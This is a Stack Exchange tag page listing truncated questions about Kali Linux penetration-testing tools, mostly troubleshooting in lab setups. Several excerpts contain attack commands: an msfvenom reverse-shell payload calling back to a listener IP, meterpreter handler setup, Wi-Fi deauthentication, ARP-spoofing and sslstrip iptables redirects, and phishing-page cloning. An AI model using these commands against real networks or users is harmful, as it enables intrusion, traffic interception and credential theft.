Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [kali-linux]

Offensive Security's penetration testing Linux distribution.

0
votes
1answer
42 views

SSH Timed out problem [on hold]

I can't connect to my kali linux ssh server running in Virtualbox through puTTY. I didn't make any changes to /etc/ssh/sshd_config file, besides Port and PermitRootLogin That's how i booted up my ssh ...
-2
votes
0answers
42 views

How to install Kali Linux from HDD? [closed]

I have a laptop running windows 7. It has not a cd drive or a usb port. I want to install Kali on my machine (not a live cd). Can I do this without any external storage devices, and how can I do it?
0
votes
0answers
44 views

arp spoofing - arpspoof vs ettercap

I would like to perform a MiTM attack on my LAN and redirect all the traffic transmitted to my gateway. I've got the goal using arpspoof tool of Kali but I am not able to do the same thing using ...
2
votes
0answers
64 views

Deauthentication attack failure

Presently I am trying (and failing) to successfully execute a deauthentication attack using Kali Linux. The process I'm using is: airodump-ng --bssid MAC address here --channel channel # here --write ...
0
votes
0answers
42 views

What's the proper way to identify string values in hydra http post form

I've seen plenty of posts regarding the syntax for setting http post form's when using hydra and all of them just show username and password as being the only two keys when making a login post request....
0
votes
0answers
74 views

Problems relaying NTLMv2 with Responder and MultiRelay

I'm currently experimenting with mitm relay attacks using Responder.py and MultiRelay.py tool and running into problems. I have the following LAB setup: Kali Box: IP: 192.168.1.13 ...
0
votes
0answers
36 views

Executable reverse shell payload won't execute on linux machine

Payload: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.222 LPORT=443 -f elf > hack.elf Listener/Handler :exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp; So after ...
0
votes
1answer
74 views

Limiting the number of duplicate character types in crunch

I'm trying to generate a password list of 10 character passwords containing only a combination of 3 - 6 numbers and 3 - 6 uppercase letters. I see option -d which allows a set limit of duplicates of ...
0
votes
0answers
48 views

Airodump-ng stops working after deauthentication attack

I'm using aircrack-ng on a pi to deauth a client that's connected to my wireless network. I run aireplay-ng and the attack succeeds but now airodump-ng wlan0mon stops returning any bssid, beacons... ...
0
votes
1answer
104 views

Wireshark - How to see the domain of HTTPS websites visited

How can I see the domain name of https websites that are visited on my network? I know I'm not able to see the full url, just the websites ip or domain. I think it my be possible with a reverse dns ...
0
votes
0answers
241 views

Meterpreter is failing to load any extension except the core commands

[*] Starting persistent handler(s)... msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https ...
-4
votes
1answer
70 views

I just can't use social engeneering tool in kali [closed]

I'm doing an information security course, but one the main tools isn't working, I can't learn how to clone a site like this, look... It keeps asking me to copy all the content inside www directory to ...
1
vote
0answers
139 views

aircrack-ng issue: No mon0 when run “airmon-ng start wlan0” and “No such BSSID available”

I have read many threads on StackExchange and some other blogs but none helped me. The issue is with aircrack-ng on Kali Linux. It gives me error No such BSSID available when I run aireply-ng. I think ...
0
votes
1answer
130 views

mitmf doesn't work when disabled ip forward

I have virtual machine windows connected to NAT network. I also have kali linux virtual machine connected to same NAT network. I have port forwarding disabled. cat /proc/sys/net/ipv4/ip_forward gives ...
1
vote
2answers
258 views

Reverse shell refusing/difficulties to establish connection

I've been trying to reverse shell between different devices, however, I'm never able to establish a connection or get a shell prompt . Let's say I have a Mac OSX as victim and use a raspberry Pi ...
0
votes
0answers
80 views

Unable to join airbase-ng AP

In a test environment, I am trying to spoof my basic router's Wi-Fi access point using the following: Instructions: https://www.udemy.com/penetration-testing/learn/v4/t/lecture/2693224?start=0 USB Wi-...
0
votes
0answers
36 views

Generate a wordlist with strings that have no repeated characters [duplicate]

I am attempting to do this with crunch, but any method would be fine. I want to generate combinations of 6 characters in which no character is repeated. Note that I don't mean the -d function, as that ...
0
votes
0answers
114 views

Exploit TinyCore Linux 4.2.9 with DirtyCow remote from Kali Linux

Do you know if is possible execute an exploit from Kali Linux for obtain root privileges in a remote machine (that I have exploited before with a local user) with tiny-core Linux version 4.2.9, I've ...
-1
votes
1answer
181 views

wpscan is not show the real version

When I scan WordPress site with wpscan I see in the results that I have version 2.10.3 in WP Rocket Title: WP Rocket <= 2.10.3 - Local File Inclusion (LFI) | Fixed in: 2.10.4 But I when I ...
-1
votes
1answer
372 views

How to switch from Ubuntu 18.04 to kali linux? [closed]

I am using now ubuntu 18.04.1 and i wanna make dual boot with kali linux. How to do that?
1
vote
0answers
96 views

How can I get MITM attack using sslstrip to work?

I performed the following steps: I modified iptables to forward to another port: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000 I allowed port forwarding: ...
1
vote
1answer
213 views

DNS Hijack: Only spoofing sites listed in etter.dns

I'm trying to create a more practical DNS Hijack mitm attack. I do the traditional arp poison with dns_spoof method. I don't have any issues getting it to work. The intended domain redirects exactly ...
0
votes
2answers
2k views

MITM using ARP spoofing with Kali Linux running on VirtualBox with bridged wifi network adapter

At home I have two laptops (running on Windows). With one laptop (attacking laptop) I try to get in the middle of the connection of other laptop (victim laptop). To do this is run Kali Linux in a ...
0
votes
1answer
442 views

SEToolkit Not Cloning Login Page

I am trying to clone a login page with SEToolkit in the latest version of Kali Linux. SEToolkit simply isn't working. I have tried running it with normal user privileges and sudo. I have placed in ...
0
votes
2answers
2k views

I couldn't deauth any devices using aireplay-ng command in kali linux

I am using Kali linux. I've updated all tools and services by apt-get update and apt-get upgrade. I was using aircrack-ng for pentesting my wlan network. I wanted to deauth any device connected to my ...
2
votes
1answer
152 views

Can't log in dvwa with a simple python program, even though login credentials are good

import requests target_url = "http://127.0.0.1/dvwa/login.php" data_dict = {"csrfmiddlewaretoken": "bbbfeed6e1aea50f14a51a331054022c", "username": "admin", "password": "password", "Login": "Submit"} ...
1
vote
0answers
234 views

Bettercap/ettercap unable to detect HTTP packets

Basically, I am trying to sniff the network traffic from my other computer. So here's the situation: I am in a network, where: 192.168.1.1 - default gateway 192.168.1.24 - "victim" (my other ...
1
vote
1answer
3k views

Username and password files in Kali [duplicate]

I'm new to pen-testing world. I'm trying to learn how to gain access through telnet service opened on port 23. I'm using Metasploit. The first approach I'm trying is using the telnet_login module to ...
1
vote
1answer
615 views

Kali.download website blocked by Kaspersky because of Trojan, is it safe?

So when I tried to dist upgrade my Kali, at the end my Antivirus blocked it from downloading from this website Do all Kali Linux operating systems try to download from this webpage (http://kali....
0
votes
1answer
158 views

Switching to native meterpreter

I've managed to get a meterpreter session running between my Kali Linux and Windows 2016 Server by uploading a payload as an Apache Axis2 web service. I want to change to a windows meterpreter(in ...
-4
votes
1answer
111 views

Reason behind Chrome not running in root user in kali Linux?

Why does Google Chrome not run as root user by default in Kali Linux? Is it a security issue?
1
vote
0answers
337 views

crunch password generation with multiple character sets

I'm trying to use crunch to generate a password list. However, if I add all necessary characters into one character set, as in: file: charset_huge.lst complex = [...
2
votes
1answer
240 views

Nmap --script-args usage?

I'm trying to use multiple Nmap --script-args at the same time. $ nmap -vv -p80,443 --script http-errors --script-args "httpspider.url=/,httpspider.maxpagecount=3,httpspider.maxdepth=1" website.com ...
0
votes
1answer
292 views

Kali Linux: Run penetration test and generate report for particular site? [closed]

I am new in Kali Linux and recently one of my jobs is to use Kali Linux to scan a newly developed site and see if there are any security issue. And after going through some courses I found that, in ...
-2
votes
1answer
92 views

Security testing alternatives on MacOS [closed]

Is it possible/feasible to set up a hacking machine that rivals a distribution like Kali Linux on MacOS, or will it never be possible for MacOS to rival a distribution like Kali in terms of hacking ...
3
votes
5answers
678 views

Cloud provider for Penetration Testing

I wish to set up a Kali Linux box on a cloud provider in order to perform same day penetration tests. The issue I am having is finding a cloud provider such as AWS, Azure etc. for this. For AWS they ...
0
votes
1answer
2k views

Kali Linux and Cell Phone Security

Are there any built in tools/programs in Kali Linux that specifically target cell phones? Furthermore, do any of these tools/programs work remotely without sending a listener to the target?
1
vote
0answers
284 views

SQLmap error (what happen if i have no parameters)

I have an error when I use sqlmap. The problem is: I use this dork https://www.exploit-db.com/ghdb/4301/ but I do not know how to use sqlmap with this type of sql injection. I use the classic: ...
1
vote
0answers
151 views

Finding phishing sites to certain domain

My work currently involve finding phishing site to a certain domain/ company. I was wondering if there are some tools/ Online services that I can use to find phishing sites. I would like to know; ...
0
votes
1answer
126 views

location of msfconsole generated executable in Kali linux [closed]

I am new to security and pen testing. I am using metasploit to generate my payload. I have generated a payload using generate -t exe -f shell.exe. But I cant find the location of the shell.exe ...
2
votes
1answer
3k views

unable to locate package Arpspoof [closed]

Can not find the tool arpspoof by using the apt-get install on Kali. After checking by typing apt-cache search there is no result either. Does this mean the tool is not available anymore? Thanks.
1
vote
0answers
494 views

Connection errors on hack the box and vulnhub (Kali, virtual box) [closed]

Ill start by show my attacking machine network setup: When trying to do a box on HTB or Vulnhub, I am sometimes able to ping it (nmap -Pn). Once I am able to ping a machine, I do a full nmap scan. ...
1
vote
0answers
489 views

Using Reaver in various UK routers results in stop after 90% progress

I've been trying to make use of the current wifi audition techniques in regards of Router Password retrieval. GEAR: I've been through car boot sales and acquired some of the current routers on the ...
2
votes
1answer
476 views

Why is FF in Kali making requests to ocsp.digicert.com?

Warning -> n00b here! For some time now I am learning the tools for pen-testing but I am still complete n00b. I have installed Metasplitable2 in another computer on local network and I am running ...
7
votes
1answer
429 views

Brute forcing encryption password (self destruct after 4 attempts)

My colleague at work lost the password to his external hard drive (HDD not SSD), a WD Elements. He remembers that his password was simple and 8 characters maximum. The problem is the encryption ...
1
vote
0answers
167 views

ARP poisoning command slows down victim internet and victim has no access

im currently enrolled in a CPEH course my 3rd lab was arp poison. command i used is echo -1 > /proc/sys/met/ipv4/ip_forward iptables -t nat -A PREROUTING -p tcp --detination-port 80 -j REDIRECT -...
4
votes
2answers
2k views

OpenVAS won't generate SCAP Database

To deploy OpenVAS to Virtual machines I've been using Ansible for a while and it worked pretty well. Now today I wanted to deploy it to another machine but the openvas-check-setup script keeps telling ...
0
votes
1answer
741 views

Using airolib-ng with crunch and then using the file using aircrack-ng gives unexpected result

I'm using airlib-ng and crunch to generate password Database and use that Password Database in aircrack-ng to crack the Captured Handshake of a WPA2 Wireless Network. Here are my terminal Commands ...
1
vote
0answers
62 views

arp spoofing on ni myrio

I created a traffic light system using NI myRio and LabVIEW, Now I want to arp spoof this system what I did is using arpspoof command on another PC that runs kali linux, The ip address are: 192.168....
1
vote
1answer
497 views

Metasploit: Executables are not working after Reverse Shell

I tried connecting to a windows box and create a reverse shell back to my Kali Linux machine. Reverse shell is created and I get the meterpreter prompt. Commands Used: Payload: windows/shell/...